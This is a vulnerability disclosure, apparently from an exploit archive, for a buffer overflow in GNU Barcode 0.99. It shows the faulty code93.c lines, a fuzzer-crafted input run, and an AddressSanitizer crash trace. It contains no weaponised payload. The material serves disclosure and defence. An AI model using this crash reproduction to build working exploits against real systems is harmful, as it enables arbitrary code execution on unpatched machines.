# GNU Barcode 0.99 - Buffer Overflow
# Vendor: The GNU Project | Free Software Foundation, Inc.
# Product web page: https://www.gnu.org/software/barcode/
# https://directory.fsf.org/wiki/Barcode
# Author: Gjoko 'LiquidWorm' Krstic
# Tested on: Ubuntu 16.04.4
# Affected version: 0.99
# Summary: GNU Barcode is a tool to convert text strings to printed bars.
# It supports a variety of standard codes to represent the textual strings
# and creates postscript output.
# Desc: The vulnerability is caused due to a boundary error in the processing
# of an input file, which can be exploited to cause a buffer overflow when a
# user processes e.g. a specially crafted file. Successful exploitation could
# allow execution of arbitrary code on the affected machine.
code93.c:
165: strcat(partial, codeset[code]);
166: checksum_str[checksum_len++] = code;
167:
168: /* Encode the second character */
169: code = strchr(alphabet, shiftset2[(int)(text[i])]) - alphabet;
170: strcat(partial, codeset[code]);
171: checksum_str[checksum_len++] = code;
lqwrm@metalgear:~/research/barcode-0.99$ ./barcode -i id:000034,sig:06,src:000000,op:havoc,rep:128
%!PS-Adobe-2.0
%%Creator: "barcode", libbarcode sample frontend
%%DocumentPaperSizes: A4
%%EndComments
%%EndProlog
%%Page: 1 1
% Printing barcode for "W+G$A+M%KWWGWWWWWWWW9WW", scaled 1.00, encoded using "code 39"
% The space/bar succession is represented by the following widths (space first):
% 01311313111333111111113111313111111133131131313111131111311311311131311313111131111131313113111111331333111111133311111111111133131333111111133311111113331111111333111111133311111113331111111333111111133311111111133113111333111111133311111113111113311131131311
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] { {} forall setlinewidth moveto 0 exch rlineto stroke} bind forall
[
% char xpos ypos fontsize
[(W) 32.00 10.00 12.00]
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[($) 80.00 10.00 0.00]
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] { {} forall dup 0.00 ne {
/Helvetica findfont exch scalefont setfont
} {pop} ifelse
moveto show} bind forall
% End barcode for "W+G$A+M%KWWGWWWWWWWW9WW"
showpage
%%Page: 2 2
=================================================================
==11076==ERROR: AddressSanitizer: global-buffer-overflow on address 0x00000043bc02 at pc 0x00000042189a bp 0x7fff2f160c00 sp 0x7fff2f160bf0
READ of size 1 at 0x00000043bc02 thread T0
#0 0x421899 in Barcode_93_encode /home/lqwrm/research/barcode-0.99/code93.c:169
#1 0x409ac2 in Barcode_Encode_and_Print /home/lqwrm/research/barcode-0.99/library.c:234
#2 0x402319 in main /home/lqwrm/research/barcode-0.99/main.c:564
#3 0x7f9b8745282f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#4 0x404708 in _start (/home/lqwrm/research/barcode-0.99/barcode+0x404708)
0x00000043bc02 is located 32 bytes to the right of global variable '*.LC6' defined in 'code93.c' (0x43bbe0) of size 2
'*.LC6' is ascii string '1'
0x00000043bc02 is located 30 bytes to the left of global variable 'CSWTCH.16' defined in 'code93.c:146:5' (0x43bc20) of size 48
SUMMARY: AddressSanitizer: global-buffer-overflow /home/lqwrm/research/barcode-0.99/code93.c:169 Barcode_93_encode
Shadow bytes around the buggy address:
0x00008007f730: f9 f9 f9 f9 00 00 00 00 00 00 00 00 00 00 00 00
0x00008007f740: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x00008007f750: 00 00 00 00 07 f9 f9 f9 f9 f9 f9 f9 00 f9 f9 f9
0x00008007f760: f9 f9 f9 f9 02 f9 f9 f9 f9 f9 f9 f9 07 f9 f9 f9
0x00008007f770: f9 f9 f9 f9 00 02 f9 f9 f9 f9 f9 f9 02 f9 f9 f9
=>0x00008007f780:[f9]f9 f9 f9 00 00 00 00 00 00 f9 f9 f9 f9 f9 f9
0x00008007f790: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x00008007f7a0: 01 f9 f9 f9 f9 f9 f9 f9 00 00 00 00 00 00 00 00
0x00008007f7b0: 00 00 00 00 00 00 00 00 01 f9 f9 f9 f9 f9 f9 f9
0x00008007f7c0: 07 f9 f9 f9 f9 f9 f9 f9 07 f9 f9 f9 f9 f9 f9 f9
0x00008007f7d0: 07 f9 f9 f9 f9 f9 f9 f9 07 f9 f9 f9 f9 f9 f9 f9
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
==11076==ABORTING
